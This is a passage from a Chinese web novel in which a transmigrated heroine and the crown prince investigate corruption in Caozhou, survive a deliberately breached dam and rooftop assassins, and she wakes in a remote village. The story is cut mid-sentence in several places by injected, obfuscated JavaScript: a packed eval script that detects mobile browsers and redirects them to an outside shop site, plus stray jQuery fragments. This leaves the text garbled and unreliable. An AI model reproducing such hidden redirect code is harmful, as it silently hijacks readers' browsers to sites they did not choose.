皇帝此时这么做,林若华是没有想到的。 “父皇近来身体越发不好了。太医私下说,是年轻时征战落下的旧疾,如今积重难返。他这次,是要杀鸡儆猴,给朝中那些蠢蠢欲动的人看看。”萧长离解释。 林若华了然,所以皇帝行事越来越激进,是自知时日无多,想在有生之年肃清朝纲,为继位者铺路。 谈话间,马车停住,外头传来凌北的声音:“老爷,夫人,客栈到了。” 掀开车帘,二人先后下车。 眼前的客栈门面普通,名字也是毫无新意。 后面一辆马车里,叶景谦也钻了出来,一脸生无可恋。 这一路上风餐露宿不说,账房先生的嘴就没停过。 从账目计算说到各地物价,又从各地物价讲到经商之道,滔滔不绝,口若悬河。 叶景谦初时还勉强应付几句,到后来只觉得脑袋嗡嗡作响。 “云来客栈?”他看了眼门上的匾额,又两步凑到萧长离身旁,“表妹夫,今晚我能不能不与任先生同住?我实在受不了了,我的头好昏啊。” 这些日子,他早已弄清楚了任来凤的身份,真了不起,这人才是太子他从哪里弄来的? 萧长离瞥他一眼,淡淡道:“此行预算有限,你若不愿与任先生同住,便去和小北他们挤挤。” 他们此行隐姓埋名,路引上皆是假名假身份,叶景谦也早换了身不起眼的灰布衣衫,连平日不离手的折扇也收了起来。 叶景谦转头看向一旁身材高大的凌北:“小、小北?” 凌北咧嘴一笑,还故意挺了挺宽阔的胸膛。 叶景谦嘴角抽搐:“那我还是继续与任先生挤吧。” 至少任先生不会把他挤到地上睡。 林若华与萧长离自然同住一间。 进了房间,林若华环顾四周,房间不大,陈设简单,但也干净整洁。 “早点休息吧,明天还要忙。”萧长离道。 “好。”林若华应了一声,走到铜盆前准备洗漱。 自成婚以来,二人过得相敬如宾,不是这样躺在床上盖着被子睡觉,就是在马车上挤在一处,连睡前聊天都没有。 萧长离既然装作无事发生,林若华也就配合他。 她倒要看看,这位太子殿下究竟在打什么主意。 他们此番离京,名义上是为皇帝去五台山祈福。 实际却是兵分两路,掩人耳目。 因此他们必须尽快行动,时间一长,消息难免走漏,处境只会更加凶险。 离堤坝垮塌的日子,已不足两月,他们不仅要查清贪墨,还需预留时间疏散百姓。 接下来的十数日,一行人明面上做生意,暗地里四处打探消息,更在夜深人静时,潜入那些官员的府邸探查。 萧长离与林若华扮作商人夫妇,身后跟着任来凤这个账房,带着几名护卫,游走各商铺间。 叶景谦则独来独往,混迹于茶楼戏院,三教九流之中。他虽然看似不正经,但是身手和应变都不弱,倒也不必担心。 因为手握剧本,所以他们探查得很顺利。 那些贪污的账本证据,或是藏在官员密室里,或是收在小妾房中,都被他们一一找到调换出来。 太顺利了。 转眼便到了十一月十五,冬月满月。 明月清辉,洒满曹州城。 是夜,二人回到房中。 林若华推开窗,望着天上的那轮圆月出神。 萧长离未如常宽衣,反而走到林若华身边,握住了她的手。 林若华回头看他,目露疑惑。 “若华,陪我去个地方。”萧长离低声道。 两人轻手轻脚地穿过走廊,避开其他人,从客栈后门溜出。 萧长离揽住林若华的腰,几下便攀上了客栈的屋顶。 瓦片有些凉,萧长离解下自己的披风铺在瓦上,才扶林若华坐下。 萧长离坐在她身旁,二人肩并着肩。 屋顶上视野开阔,月光下,整个曹州城一览无余,不时远处传来两声犬吠。 “今晚月色真美。”林若华仰头望着那轮圆满清冷的月,不禁感叹。 “是啊,很美。” 又过了许久,萧长离忽然开口:“若华,你觉得此次行程如何?” 林若华侧头看他,萧长离的表情很平静,林若华却直觉他并不轻松,甚至有些沉郁。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林若华转过头,不再看月亮,而是直视萧长离的眼睛:“是你话太少。” 月光下,二人的目光交汇,萧长离凝视她许久,才轻声道:“待此间事了,尘埃落定,我就把你想知道的,所有的事原原本本告诉你。” “所有的事?”林若华又重复道。 “所有的事。”萧长离语气郑重,“过去的,所有的一切,我都告诉你。” 林若华没有回应,月光照在她的脸上,更显得清冷。 “怎么?不信我?”萧长离微微叹了一口气。 “不是不信。”林若华缓缓摇头,脸上带着不安,“只是,你为什么偏偏在准备返程时说这种话?你难道忘记了,在这种时候,说这种话,听起来很危险吗?很不吉利啊。” 话音刚落,萧长离的眉头紧皱。 “你听见了吗?”他声音陡然变得凝重。 林若华也听到了。 那声音起初不大,断断续续。 紧接着,轰隆隆,像是闷雷。 随即越来越响,越来越近。 两人霍然起身,同时循声望去。 只见远处黑暗中,一道浑浊的,灰黑色的东西,正迅速逼近,越变越宽,越变越高。 它正以摧枯拉朽之势,向曹州城奔涌而来。 月光照亮了它。 那是水。 那是滔天的洪水。 堤坝,提前一个月,塌了。 46. 洪水 怎么可能?! 这才十一月十五日! 明明还有整整一个月。 按原本的剧情,曹州堤坝决堤应该是腊月中旬的事。 那时天降大雨,又值严冬,百姓大多在家安睡,死伤极其惨重。 可现在,连一滴雨都没下过。 这段时间曹州地界根本就没有下过雨,甚至连续半月都是晴天。 这堤坝,怎么可能提前就塌了? 如今也是夜晚,但月光明亮,许多人或许还未睡下,声响巨大,应该也能惊醒不少人。 可这水势太过凶猛,就算醒了,又能逃出多少? “这怎么会……”林若华睁大双眼,震惊得浑身发凉,“堤坝塌了?!” 她转过头看向萧长离,那双平日里温柔的眼眸此刻也满是凝重。 他的眉头紧锁,一瞬间已经做出了决断。 “走!” 来不及多说一个字,萧长离毫不犹豫地拉起林若华的手,纵身从屋顶跃下。 两人跳在客栈后院里,落地时林若华踉跄了一下,萧长离立刻扶稳她:“小心!” 几乎同时,滚滚洪流已逼至曹州城。 林若华心头一紧:遭了!凌北、叶景谦、任来凤他们还在房间里,苏南也还没回来! 方才虽然他们是在客栈的屋顶,但这家客栈地势太低,太危险,若洪水真冲过来,怕是撑不了多久,他们必须转移到地势高的地方去。 萧长离的神色是前所未有的严肃,他紧握着林若华的手,转身便向客栈内冲去。 “凌北!”萧长离一脚踹开客栈后院通向内部的门,高声喊道。 “所有人快起来,出事了!洪水来了!”林若华一边跑一边大喊,清冷的声音在空荡的客栈大堂里回荡。 客栈内瞬间炸开了锅。 先是几声迷茫地询问,紧接着是桌椅碰撞声和凌乱的脚步声。 住客们衣衫不整地从房间里涌出来,有的甚至只穿着中衣,光脚踩在冰凉的地面上,每个人都睡眼惺忪。 “什么了?出什么事儿了?” “水?什么水来了?” “是洪水!” 不知谁喊了一声,众人齐齐望向窗外,透过二楼的窗户,已经能看到远处街面上漫过来的水。 掌柜提着灯笼站在客栈门外,抬头望着远处城墙方向,脸色惨白如纸,双腿抖得如同筛糠。 “洪水,真的是洪水……”他喃喃自语,灯笼一声掉在地上,火焰迅速将整个灯笼都点燃了。 又一声巨响,城墙方向传来墙体垮塌的声音。 萧长离拉着林若华径直冲回二楼房间后,放开林若华的手,迅速从床下面取出一个白色包裹,里面是皇帝给他的诏书以及兵符。 林若华则背起自己的小木箱。 这是她在出发前临时准备的急救箱,装着可能会用到的药品和简易的医疗器械。 两人冲出房间,凌北早已收拾整齐,手中握剑,等候在门外:“老爷。” “所有人往城外高处撤!”萧长离迅速下令,又问道,“任来凤呢?” “在这儿。”任来凤也从房里跑出来。 这位平日里正经时一丝不苟,不正经时乱七八糟的老先生,此刻头发散乱,外袍胡乱披在身上,一只鞋也不知所踪。 他紧紧抱着怀中的灰布包裹,这里面装着他们这些天在曹州收集的所有证据。 “苏南回来没有?叶景谦呢?”林若华左右张望,没有发现那两人的身影。 “叶公子午后出去了,说去城西看看,还没回来。”任来凤喊道。 “苏南也没有回来,”凌北脸色难看,握剑的手又紧了两分。 林若华心头一沉,这个时候不知所终,城外洪水滔天,城内乱象已生,怕凶多吉少。 萧长离迅速扫视四周,当机立断:“不能再等,往城西外小山撤,凌北,带人去马厩,把所有马匹都牵出来,我们走。” 刚才在屋顶上,他就已发现城外有一座小山,虽不高,却是附近唯一能躲避洪水的地方。 “是!”凌北领命,带着两名侍卫转身冲向后院。 萧长离拉着林若华下楼,任来凤抱着证据紧跟其后。 此刻洪水已经漫至脚边。 客栈里乱成一团,住客们四处奔逃,有人试图回房取财物,有人哭着寻找失散的家人,还有人受惊过度,瘫坐在地。 凌北等人牵来了十二匹马,原本两驾马车各有一匹,五辆大车各有两匹。 马儿们焦躁不安,蹄子在水里乱踏。 萧长离先扶林若华上马,自己翻身跃上,坐在她身后,紧紧攥住缰绳。 “抓紧。”萧长离对林若华说道。 任来凤在侍卫帮助下爬上另一匹马,凌北与他共乘一匹。 剩下的人两两一组。 “走!”萧长离一马当先,朝着城门方向冲去。 凌北在他身侧,而其余人,被甩在身后。 街道上的景象比客栈内更加混乱。 洪水已经涨到小腿深,百姓拖家带口,哭喊着向城门方向奔逃。 有人将幼童高举过头顶,有人搀扶着年迈的父母,有人背着简单的包袱,他们都在水中举步维艰。 林若华一手紧抓马背,一手死死抱着急救箱,不忍回头看。 忽然,林若华在人群中瞥见一个熟悉的身影,她们擦身而过。 “苏南!”她脱口而出。 林若华赶紧回头。 只见一身黑衣的苏南正拽着一个人,顺着人流的方向,缓缓向前移动。 待那人抬起头,林若华看清了。 是叶景谦! 他们怎么在一起的? 不过现在也不是关心这个的时候。 “苏南他们一定是发现了什么,我们得去接应他们。”林若华焦急地对萧长离说道。 萧长离皱着眉,缰绳一勒:“凌北!” 身旁的凌北刚侧头,便见萧长离将一个白色布包丢了过来:“太、老爷?” “你和任来凤带着诏书和兵符,立刻去调集曹州及附近所有驻军。疏散百姓,救援灾民,开仓放粮。抗命不遵者、趁火打劫者、心怀不轨者,斩!”萧长离眼神凌厉。 “是!”凌北沉声应道。 凌北身前的任来凤此时也一言不发,消瘦的老头死死抱着怀中证据,又将脸埋入包裹里,看不清他此刻的神色。 萧长离调转马头,逆着人流,艰难地向苏南的方向挪去,四周响起水花声和咒骂声。 苏南他们也发现了这边。 叶景谦奋力挥手,张大嘴巴,但他的声音被周围的嘈杂声掩盖。 两拨人终于在一条相对宽敞的街口汇合。 水已经涨到大腿,马匹几乎无法前行。 “上屋顶!”萧长离当机立断,舍了马匹,再次搂住林若华的腰,几下便攀上了旁边一座二层的酒楼屋顶。 苏叶二人紧随其后。 苏南先将叶景谦推上屋顶,自己才翻身而上,动作明显不如平日灵活。 叶景谦体力不支,爬上屋顶后便瘫倒在地,大口喘着粗气。 苏南半跪着,一手捂着右腹,脸色苍白,额头上冷汗涔涔。 林若华敏锐地闻到了一股血腥味。 她终于看清苏南右腹处的黑衣颜色更深,那里早已血迹斑斑。 “你受伤了!”林若华就要打开急救箱。 苏南抬手制止,声音虚弱:“皮肉伤,不碍事。先听叶公子说。” 叶景谦挣扎着坐起来,压制着声音对萧长离和林若华急促说道:“堤坝是让人故意弄塌的!我在赌坊听说这几天老有生人在堤坝那边鬼鬼祟祟,就想去看看,结果还没走近,就被人从背后打晕绑了。” 他缓了口气,继续道:“直到苏南姑娘救我出来,我才知道自己被关在田有方的府上,这帮狗官,为了掩盖他们贪污的证据,居然拉全城老百姓陪葬!” 叶景谦说到最后,声音都在发抖,不知是恐惧还是愤怒。 原剧情中,只提到官员贪污腐败,堤坝年久失修,导致垮塌。 可现在,这意味着什么? 意味着这场导致曹州数万百姓丧生,更多人流离失所的灾难,不单单是天灾人祸,而是一场精心策划的阴谋。 “那些人,”叶景谦看向远处正在逼近的黑衣人,“是田有方派来灭口的杀手。” 追杀的黑衣人到了。 那十人显然训练有素,分散开来,从不同方向攀上邻近的屋顶,形成合围之势。 他们手中握着大刀,眼神凶狠。 萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16994524|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长离将林若华护在身后,从靴中抽出一把匕首。 林若华认出来,那是在落月崖上,萧长离刺向萧玄鹤的那把。 叶景谦也挣扎着站起来,从腰间抽出一把小砍刀。 那是他逃走时顺手从田府厨房外拿的,刃口都有些卷了。 苏南勉强起身,从背后拔出匕首,但动作明显迟滞,额上冷汗更多了。 为首的黑衣人率先发难,从侧面屋顶扑来。 苏南咬牙迎上,匕首与大刀相撞。 她伤后力弱,被震得倒退两步,脚下瓦片滑动,险些摔倒。 萧长离一掷匕首,匕首不偏不倚,精准地扎进那黑衣人的咽喉。 黑衣人闷哼一声,扑通掉进下方的洪水中,转眼被卷走。 但更多的黑衣人已经围了上来。 黑衣人们招招狠辣,丝毫不在意洪水,也不在意自己的性命,完全是同归于尽的打法。 刀光剑影交错,萧长离夺过一名黑衣人的大刀,反手劈砍,动作干净利落,每一击都直奔要害。 苏南与叶景谦背靠着背,勉力抵挡。 又一个巨浪打过来,整个屋顶都晃了晃。 不远处的一栋房屋轰然倒塌,瞬间激起巨大的水花。 四周再次响起老百姓的哭喊声,转眼间又淹没在洪水中。 “这些混蛋!”叶景谦瞥了一眼周围惨状,又瞪着黑衣人,双眼赤红。 林若华紧紧抱着急救箱,躲在萧长离身后的屋脊处。 她心脏狂跳,紧咬着牙齿。 无论是哭喊着的百姓,还是对战的萧长离他们,她都帮不上忙。 怎么办? 该怎么办? 一个黑衣人注意到了她,在场唯一不会武功的人。 “若华!”萧长离瞳孔骤缩,不顾身旁袭来的刀锋,飞身扑来。 “嗤!” 萧长离挡在林若华身前,刀砍在他的左肩上,鲜血瞬间涌出。 “长离!”林若华惊呼出声。 那黑衣人见萧长离受伤,眼中的嗜血一闪而过,弃了林若华,举刀再砍。 萧长离双手持刀格挡,但受伤的左肩使不上力,眼看大刀就要落下。 突然,黑衣人动作一滞,眼中露出难以置信的神色。 他松开了握刀的手,双手连忙捂住脖子,却止不住喷涌而出的鲜血,嘴巴张了张,身体晃了晃,最后整个人一歪,从屋顶滚落,消失在洪流中。 林若华握着染血的簪子,浑身都在发抖。 她看向萧长离,扯出一个僵硬的笑:“刺的大动脉,很准,没手生……” 原来是千钧一发之际,林若华拔下了头上的桃花簪,拇指按住花心处的宝石,拉出藏在簪子里的利刃,用尽全身力气,狠狠扎进了黑衣人的侧颈。 萧长离看着她苍白的脸和染血的手,刚想说些什么,却突然脸色一变:“小心!” 巨大的响声从脚下传来。 整座酒楼剧烈摇晃,支撑屋顶的大梁咔嚓一声,断了。 “房子要塌了!”叶景谦嘶声喊道。 话音未落,脚下的屋顶骤然倾斜,林若华脚下一滑,整个人向后仰倒。 “若华!若华!林曦!” 她听见萧长离焦急的呼喊,看到他慌张伸来的手,但来不及了。 冰冷浑浊的洪水瞬间将她吞没。 水从四面八方涌来,她拼命挣扎,但水流太急,拖着她向下沉。 意识开始模糊,她又做起了光怪陆离的梦。 小时候,爸爸的单位组织去孤儿院做公益,带上了家属。 妈妈牵着她的手,小声对爸爸说:“这些孩子没有父母,好可怜啊。” 转眼间,父母变成了盖着白布的遗体。 邻居家吵吵闹闹,在办丧事。 爷爷坐在门前,叹了口气:“人啊,说没就没了。” 转眼变成她自己坐在灵堂前,给爷爷烧着纸钱。 救救我。 救救我。 谁来救救我? 我明明也救过人的。 为什么没有人来救救我? 在意识即将彻底消散的刹那,她听到一个惊喜的声音,这个声音仿佛在哪里听到过,就在她耳边响起。 “大小姐,您可算醒了。” 47. 村庄 “大小姐,您可算醒了。” 林若华只觉得头痛欲裂,费力地睁开双眼,视线却模糊不清,只能朦朦胧胧看到有个身影坐在床边。 空气中弥漫着淡淡的中药味,身下是硬邦邦的木床。 一切都似曾相识。 她记得失去意识前那一幕。 她掉进了洪水里。 可现在,她还活着。 难道说…… 她这是读档了? 穿越了这么久,她的金手指总算是来了! 她必须尽快找到萧长离,告诉他堤坝会提前垮塌,田有方丧心病狂,曹州百姓危在旦夕。 “大小姐,使不得。” 就在林若华挣扎着要起身时,身旁的小姑娘连忙伸手扶住她。 林若华摇摇头,执意要坐起来。 可刚一动弹,就是一阵天旋地转袭来,她只得停下动作,大口喘着气。 林若华闭上眼,好一阵子,才缓缓睁开。 这次,她终于看清了眼前的人。 长相普通,穿着粗布衣裳,年纪与林洛瑶一般大,却早早梳起了妇人髻。 “木、木儿?怎么是你?”林若华艰难地发出声音,这才发现自己的嗓子嘶哑得厉害。 “是我,大小姐。”木儿小心翼翼地左右看了看,才凑近了些,压低声音,怯生生地加了一句:“太子妃娘娘。” 这个称呼让林若华一怔。 “我、我这是……”她抬起右手扶在额前。 “您别急,先喝点水。”木儿转身要去倒水,就在这时,门帘突然掀开。 “哟,大小姐您醒了?”一个十六七岁的黑瘦少年冲了进来。 少年的衣服打满补丁,脚上一双草鞋还各露出了两个脚趾,浑然不觉得冷。 他眼神明亮,正咧嘴笑着,手中端着一只土碗。 “阿实哥,你怎么能就这么进来了?”木儿咬了咬唇,有些无措地看向林若华,又看看少年。 “对不住对不住,”阿实挠了挠头,“我不懂你们大户人家的规矩,就是听到里面的动静,想着大小姐肯定口渴了,给您倒了碗水。” 他一边说着,一边把手里的碗递过来。 木儿接过碗,一手扶着林若华:“大小姐,家里没有热水,只有井水,您将就着。” “不碍事。”林若华接过碗。 这只土碗边缘有个小缺口,做工粗糙,但洗得很干净。 她小口地喝着水,清凉的清水流过喉咙,总算感觉好了一些。 木儿注意到林若华的目光落在碗边的缺口上,不好意思地低下头。 “是你们救了我?”林若华缓了一口气,问道。 “哎,说起来也是巧。两天前,天还没亮,我和小娥准备去打水。结果您猜怎么着?走到河边一看,小河变成大河了!那水势,哗哗的。” 他一边说,一边比画着,说得眉飞色舞:“水面上漂着桌子板凳,死鸡死鸭,还有不少死人。我们当时远远看到您漂在河上,还以为也是个死人呢!” “阿实哥……”木儿头更低了。 “啊,不好意思,我好像又说错话了。”阿实再次挠头,脸上露出懊恼的神色。 “小娥?”林若华眨眨眼。 “大小姐,我就是小娥。”木儿小声说。 “就是嘛,方小娥多好听的名字啊,那个什么二小姐,非得改叫什么木儿草儿的,难听死了。”阿实心直口快地说完,意识到自己可能又说错话了,连忙捂住了嘴。 “阿实哥……”方小娥更加尴尬了,偷偷瞟了林若华一眼。 “不好意思,不好意思。”阿实看到方小娥的样子,连忙道歉,“我又多嘴了。” “没事。”林若华对阿实笑了笑,“我还没有感谢你们救了我。” “也是大小姐您运气好。您抱着个小木箱子,箱子浮在水上,头靠在箱子上,脸露了出来。小娥眼尖,一眼就认出来了,说这不是大小姐吗。” 阿实指了指方小娥,又道:“把您拉上来的时候,您都没什么气儿了。” “是阿实哥跳下水救您上来的,您昏迷了两天了。”木儿在旁边小声补充。 两天? 林若华皱眉,那从她落水算起,至少已经三天了。 不知道萧长离他们怎么样了?苏南身上还带着伤。凌北他们找到驻军没有?曹州城现在又是怎样一番光景? “这里离曹州城有多远?”她急忙问道。 “曹州?那可远了,有二百里了。”阿实回。 林若华睁大眼睛:“二、二百里?那这里是?” “归德府啊。”阿实理所当然地说。 归德府?她竟然被洪水冲到了二百里外的归德府?这到底漂了多久? “今天是十一月多少日?”林若华又问。 “十一月二十日了,大小姐。”方小娥轻声回答。 竟然整整过了五天! 她还在洪水里漂了二百里,还能活下来,真是命大。 “大小姐您饿了吧,我去给您做点吃的。”阿实没等林若华回答,又风风火火地跑了出去。 等阿实离开,方小娥这才低声说:“大小姐,放、放心,您的身份我连阿实哥都没有告诉,只说您是我以前做工的府上,帮过我的大小姐。” 林若华看向方小娥,从前她老实木讷,胆子也小,生平最大的勇气,就是当初冲到自己身前,求自己救救她。 其实她是一个心思细腻的姑娘。 “方小娥,”林若华叫了她的本名,“谢谢你。” 方小娥的脸一下子红了,手都不知道往哪儿放:“大、大小姐,您可别这么说,我说过,要报答您的。” 等阿实做好饭,方小娥扶着林若华走出卧房。 茅草屋很小,总共只有两间房。 一间卧房,一间兼做堂屋和厨房。 卧房仅能放下一张床和一个破旧的小柜子。 堂屋里摆着一张桌子和几个凳子,墙角堆着些柴火,灶台就在旁边。 把唯一的卧房让给了林若华后,这两天方小娥和阿实都是挤在灶台旁睡的。 桌上已经摆好了饭菜。 林若华面前的大碗里,装着满满的鸡汤和鸡肉,还有一个肥硕的鸡腿。 而方小娥和阿实面前,只有两碗清粥,连咸菜都没有。 见林若华没有动,阿实问道:“大小姐,您怎么不吃啊?” 方小娥尴尬地笑了笑:“饭菜有点简陋,大小姐,您别嫌弃。” “不是的。”林若华抬眼看向二人,“我只是想问,你们怎么过得这么清贫?” 方小娥离开林家时,林若华给了她一笔足够安家的银子,而且林家并没有收方小娥的赎身钱,加上阿实之前攒的,按理说他们不应该过得这么拮据,至少可以去镇上买一间瓦房了。 听到林若华的疑问,方小娥急忙解释:“不、不是的,大小姐帮我了,也没有人为难我,是其他的原因。” 阿实叹了口气:“哎,大小姐,我听小娥说了,多亏是你救了她,我就也不瞒你了。这事说来话长……” 他缓缓讲起了他们的经历。 原来,阿实和方小娥的家乡原本也在曹州。 大约两年前,官府贴出告示,说要招募工人修建堤坝,承诺了丰厚的工钱,还发冬衣。 当时正值农闲,许多人都报名了,阿实想着多赚点钱,尽早帮方小娥赎身,也去了。 “结果呢?”阿实苦笑,“冬衣是发了,可那布料,一摸就知道是发霉的旧布改的。曹州的冬天多 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“接到小娥后,我们更不敢回曹州了,”阿实接着说,“就想着来归德府投奔我表叔。我表叔早年搬到这里,说是这边地多,好过日子。结果我们到了才发现,整个村子都荒凉了。问了一圈才知道,前些年这里遭遇了山匪洗劫,整村人都死了。” 他叹了口气,指了指周围:“我们无处可去,干脆就在这附近安顿了下来。我们花光了积蓄,才从官府那里办下了新的户籍,又买了这一小块地。” 办新户籍,对于无权无势的平民来说并非易事,需要打通层层关系,花费自然不小。 “我们也想去镇上,但是已经没有多余的钱了。”方小娥低声说。 林若华这才明白,为什么她醒来这么久,除了方小娥和阿实,没看到其他人,甚至连一声鸡鸣狗叫都没听见,这附近,恐怕是真的荒无人烟。 而即便穷困如此,他们还是给她抓药,还杀了家里唯一的鸡。 林若华下意识摸了摸腰间,钱袋已经不见了,想必是遗失在了洪水中。 她又抬手摸了摸耳朵,还好,一对金耳坠还在,她取下来,放在桌上。 “你们先拿去换点东西,放心,等我和家人汇合后,我再帮你们安排。”林若华说。 方小娥连忙摆手,阿实也喊道:“这怎么好!我们救您不是图这个!” “现在不是在意这些的时候,”林若华坚持,“钱财哪有性命重要。我需要尽快恢复,也需要和外界取得联系,这些都需要钱,你们收下。” 看二人还在犹豫,林若华又道:“如果你们不收,我怎么好意思继续住在这里,吃你们的用你们的?” 阿实和方小娥对视一眼,最终阿实拿起了耳坠:“那、那我就收下了,晚点去镇上换点吃的,再给大小姐抓两副药。” 他将耳坠小心收好,又问道:“对了,大小姐,您怎么会在洪水里?还从曹州漂到了归德府?” 林若华不能暴露此行的目的,否则不仅自己有危险,还会连累这两个善良的年轻人,只能说道:“我是来替外祖父母扫墓,不料路上遇到曹州发洪水,和家人失散了。” “那我们怎么帮您联系家人?”阿实热心地问。 “这里是归德府哪里?我一会儿给家人写一封信,你们帮我邮寄一下。”林若华说。 萧长离离京前曾与她约定,若意外失散,可通过特定渠道联系。只是如今洪水肆虐,驿路恐怕已断,那渠道也不知能否畅通,但总要试试。 “这里啊,是归德府下的上水镇,附近的大树村。”阿实笑着说,“虽然偏僻,但镇上有邮驿,寄信应该没问题。” 上水镇? 林若华又是一愣。 这不就是外祖父母的家乡吗? 这么巧? 48. 报答 这顿简单的饭菜,林若华吃得极慢。 方小娥和阿实坐在她对面,捧着粗糙的土碗喝粥。 阿实喝得咕噜咕噜,几口便见了底,他偷偷抬眼看了看林若华,又迅速低下头。 方小娥吃得斯文些,但动作也快。 等终于吃完,林若华将碗放在桌上。 她看向对面的两人,问道:“你们有纸和笔吗?” 闻言,方小娥垂下眼帘,为难得说不出话来。 阿实黝黑的脸上也露出窘迫:“我们哪买得起那些东西啊,都是有钱人的玩意儿。纸那么金贵,一张都要好几文钱。笔就更不用说了,镇上的秀才老爷才用呢。” 在这个世道,对于平民百姓来说,纸笔确实是奢侈品。 阿实提议:“这样吧,大小姐您口述,我记在脑子里,去找镇上的先生代写。我记性好,保准一字不差。” 林若华摇摇头,又问:“你们救我的时候,把我的小木箱带回来了吗?” 方小娥抬眼,轻轻点了点头:“在的,大小姐。那个小箱子就在柜子里收着,我们没打开过。” “我去给您拿。”阿实起身,快步跑回卧房,不多时,便抱回小木箱,递给林若华:“给您,大小姐。” “谢谢。”林若华双手接过。 听到这声道谢,阿实颇有些不好意思,抬手摸了摸鼻子:“您客气啥。” 林若华打开小木箱,一一清点,还好,东西一样都不少。 她舒了口气,合上箱子,抬起头看向两人,眼神变得复杂:“你们有没有看到我的桃花簪子?是一根金簪,有朵粉玛瑙雕琢而成的桃花。那是我夫君送给我的定情信物,对我来说很重要。” 方小娥和阿实齐齐摇头。 方小娥眉头微蹙:“大小姐,我们从河里把您救上来时,您身旁就只有这个小木箱。您说的桃花簪子,真的没有见到。” 她的声音越来越小,带着几分委屈。 “是啊,您这身衣服,还是小娥洗的,今早才干,就给您换上了,我们可没有拿您什么东西。”阿实说得又气又急,黝黑的脸涨红。 他像是受到了莫大的侮辱,吼道:“我们虽然穷,但从来不拿不该拿的东西!” 方小娥连忙拉拉他:“阿实哥,别这么大声,大小姐不是那个意思。” 林若华垂眼,瞥了一眼还在的手镯,又摩挲着右手无名指上的戒指:“我没有怀疑你们的意思。那支簪子对我有特殊的意义,所以才多问一句。既然不在,可能是掉在水里了。” “那,能不能帮我找一块白布,再弄点锅底灰来,还要一根细直的小树枝。”林若华转换了话题。 这次方小娥和阿实点了点头,没再多问。 方小娥在卧房破旧的小柜子里翻找了一会儿,终于找出一块还算干净的白布。 阿实则跑到灶台边,用刀刮下锅底灰,小心地收集在一个破碗里,又到屋外折了一根细小的树枝。 然后他们看着林若华用树枝搅动碗里的锅底灰,与水混合成墨汁,蘸着墨汁在白布上写下一串他们看不懂的符号,歪歪扭扭,既不像字,也不像画。 阿实忍不住问:“大小姐,您这是什么字啊?我怎么从没见过。” “暗语,只有我夫君那边的人才能看懂。”林若华没有抬头,待写完最后一笔,一边等它干透,一边将联系方式告诉阿实。 阿实应道:“好,我记住了,大小姐,还有什么需要我做的吗?” 林若华神情郑重:“还有,打听一下曹州的消息,看看那边现在怎么样了,以及官府有什么动静。” 阿实将干了的白布小心塞进怀里,又拍了拍:“我明白。” 不多时,他便背着个竹篓出发了,从大树村到上水镇,要走三十余里路,一来一回得大半天。 阿实离开后,茅草屋里只剩下林若华和方小娥。 “大小姐,我扶您出去走走吧。今天出了太阳,外面不太冷。”方小娥走上前。 林若华点点头,借着方小娥的手,慢慢挪到屋外。 她这才有机会仔细打量周围的环境。 茅草屋孤零零地立在一片荒地上,屋前有一小块开垦过的菜地。 方小娥指着屋后:“那边有条小河,要走半个时辰才能到,我们就是在那里救的您。” 林若华顺着她指的方向看去,只见一片荒芜,根本看不到河的影子。 更远处,是废弃的村庄。 那些房屋大多已经坍塌,荒草有了半人高。 方小娥轻声说:“这里以前很热闹的,阿实哥的表叔来信说过,大树村有四十多户人家,村口还有棵大槐树,夏天村里人都在树下乘凉。” 她又指着一棵枯死的大树:“应该就是那棵吧,可惜已经死了。” 那棵树的确很大,粗壮的树干林若华一个人都抱不下。 林若华盯着枯树,不知在想什么。 “小娥,你和阿实什么时候成婚的?”她突然开口道。 方小娥没想到林若华会突然问这个问题,脸一下子红了起来:“阿实哥接到我后没多久,我们就成婚了。我们什么都没有,就扯了块红布,买了两根红烛,拜了天地。” 林若华好奇:“平日里就你们两个人待在这荒村野岭的,你不怕?” “不怕,有阿实哥在,我什么都不怕。”方小娥眼中泛光。 林若华若有所思,转头看向她:“你胆子变大好多。我记得上次你和我妹妹一起去皇宫的赏花宴,在马车上,你怕得浑身发抖,连话都不敢说。” 方小娥脸色一白,咬了咬唇,犹豫片刻,低声说道:“其实……那次是二小姐威胁我,让我找机会将您推下御花园的花池。我不敢,一路上都怕得要死。还好,我被拦在了外面。” 她低下头,不敢与林若华对视。 林若华没有问她,如果当时她没有被拦,会不会听从林洛瑶的话,而是说:“你和阿实感情真好。” 方小娥这才抬起头,露出羞涩而幸福的笑容:“是啊,阿实哥虽然穷,但他是真心待我好。” 林若华静静听着,眼中复杂的情绪一闪而过,轻轻叹了口气:“也不知道太子殿下现在怎么样了。我不知所终,他一定急坏了。” 方小娥连忙安慰:“放心吧,大小姐,阿实哥很快就会带回消息的。” 林若华没有接话,只是转头望着远方。 直到天色完全暗下来时,阿实才回来。 他背上的空竹篓,此刻装得满满当当。 “大小姐!”他一进门就兴奋地喊道,虽累得满脸通红,眼睛却亮晶晶的。 “您的耳坠成色好,当铺给了不少钱。”他将竹篓放在地上,开始一件件往外拿东西,“我买了面、油和糖,还有好一大块猪肉!这是给您抓的药,大夫说吃两天就能好得差不多了,信也按您说的方式邮寄出去了。” “阿实,镇上有关于曹州的消息吗?”林若华问。 阿实的表情严肃起来,擦了擦额头的汗:“有,镇上都在传,曹州的堤坝垮了,听说当兵的都过去了。” 林若华暗道,连这边的驻军都调过去了吗?看来情况比想象得还要严重。不过既然能调人过去,起码萧长离和凌北应该是平安的。 “还有一件事,”阿实压低声音,“镇上来了些人,四处打听有没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 